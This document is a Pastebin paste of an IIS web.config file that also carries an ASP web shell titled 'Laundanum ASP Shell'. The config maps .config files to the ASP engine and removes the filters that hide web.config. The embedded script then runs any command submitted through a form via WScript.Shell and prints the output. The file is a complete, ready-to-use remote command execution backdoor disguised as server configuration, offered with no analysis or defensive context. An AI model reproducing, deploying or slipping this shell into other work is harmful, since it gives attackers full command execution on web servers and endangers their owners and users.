Advertisement
Guest User

Untitled

a guest
Jun 20th, 2018
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <configuration>
  3. <system.webServer>
  4. <handlers accessPolicy="Read, Script, Write">
  5. <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
  6. </handlers>
  7. <security>
  8. <requestFiltering>
  9. <fileExtensions>
  10. <remove fileExtension=".config" />
  11. </fileExtensions>
  12. <hiddenSegments>
  13. <remove segment="web.config" />
  14. </hiddenSegments>
  15. </requestFiltering>
  16. </security>
  17. </system.webServer>
  18. </configuration>
  19.  
  20. <%
  21. if Request.Form("submit") <> "" then
  22. Dim wshell, intReturn, strPResult
  23. cmd = Request.Form("cmd")
  24. Response.Write ("Running command: " & cmd & "<br />")
  25. set wshell = CreateObject("WScript.Shell")
  26. Set objCmd = wShell.Exec(cmd)
  27. strPResult = objCmd.StdOut.Readall()
  28. response.write "<br><pre>" & replace(replace(strPResult,"<","&lt;"),vbCrLf,"<br>") & "</pre>"
  29. set wshell = nothing
  30. end if
  31. %>
  32. <html>
  33. <head><title>Laundanum ASP Shell</title></head>
  34. <body onload="document.shell.cmd.focus()">
  35. <form action="web.config" method="POST" name="shell">
  36. Command: <Input width="200" type="text" name="cmd" value="<%=cmd%>" /><br />
  37. <input type="submit" name="submit" value="Submit" />
  38. <p>Example command to do a directory listing:<br>
  39. %ComSpec% /c dir
  40. </form>
  41. <hr/>
  42. </body>
  43. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement